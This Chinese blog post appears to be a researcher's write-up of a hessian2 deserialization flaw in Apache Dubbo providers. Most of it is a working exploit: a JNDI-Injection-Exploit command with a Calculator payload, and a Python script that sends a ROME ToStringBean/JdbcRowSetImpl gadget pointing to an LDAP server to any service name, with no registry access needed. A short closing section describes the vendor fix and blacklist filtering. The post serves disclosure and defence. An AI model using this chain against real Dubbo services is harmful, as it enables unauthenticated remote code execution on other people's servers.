Dubbo provider hessian2反序列化漏洞利用

去年发现这个问题后,写了篇分析一直没发,因为当时还在和官方邮件交流中所以不方便发出来。当然后来官方也提供了修复方法并在一次PR里面加了对反序列化时service name的判断,猜测可能认为hessian的序列化反序列化虽然是默认方式但不属于dubbo自身问题,所以只对dubbo协议中的细节增加了判断。之前跟threedr3am师傅交流提到过,最近师傅对此也进行了分析 dubbo源码浅析:默认反序列化利用之hessian2 ,写的比我好,我就不发分析了233。这里写篇文章大概记录下利用方式。

利用方式

https://github.com/apache/dubbo-spring-boot-project 将代码下载到本地,将ROME加入 dubbo-spring-boot-auto-configure-provider-sample 模块pom包并启动

    com.rometools
    rome
    1.7.0

 

利用JNDI-Injection-Exploit( https://github.com/welk1n/JNDI-Injection-Exploit ) 进行JNDI注入

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1
 

运行以下python代码即可进行dubbo协议通信并传入恶意对象进行反序列化后的JNDI注入

(因为现在的版本都没对进入的service方法进行签名之类的验证,所以不用获取注册中心权限来知道service信息就可以攻击)

# -*- coding: utf-8 -*-
# Ruilin
# pip3 install dubbo-py
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
 
client = DubboClient('127.0.0.1', 12345)
 
JdbcRowSetImpl=new_object(
    'com.sun.rowset.JdbcRowSetImpl',
    dataSource="ldap://127.0.0.1:8087/Exploit",
    strMatchColumns=["foo"]
    )
JdbcRowSetImplClass=new_object(
    'java.lang.Class',
    name="com.sun.rowset.JdbcRowSetImpl",
    )
toStringBean=new_object(
    'com.rometools.rome.feed.impl.ToStringBean',
    beanClass=JdbcRowSetImplClass,
    obj=JdbcRowSetImpl
    )
 
resp = client.send_request_and_return_response(
    service_name='cn.rui0',
    method_name='rce',
    args=[toStringBean])
 

修复

根据反馈官方准备在2.7.6版本中修复,不过目前只是像向上面说的增加反序列化前的service name的判断,如果能控制到中间注册中心还是会存在攻击风险。因为hessian也是一种分布式下常见的二进制序列化方式,同时它自身并没有做针对类似gadgets的防护,所以这里还是建议大家使用时要对其进行拓展,可以参考SOFA的处理( https://github.com/sofastack/sofa-hessian ) 来增加对应的黑名单过滤器。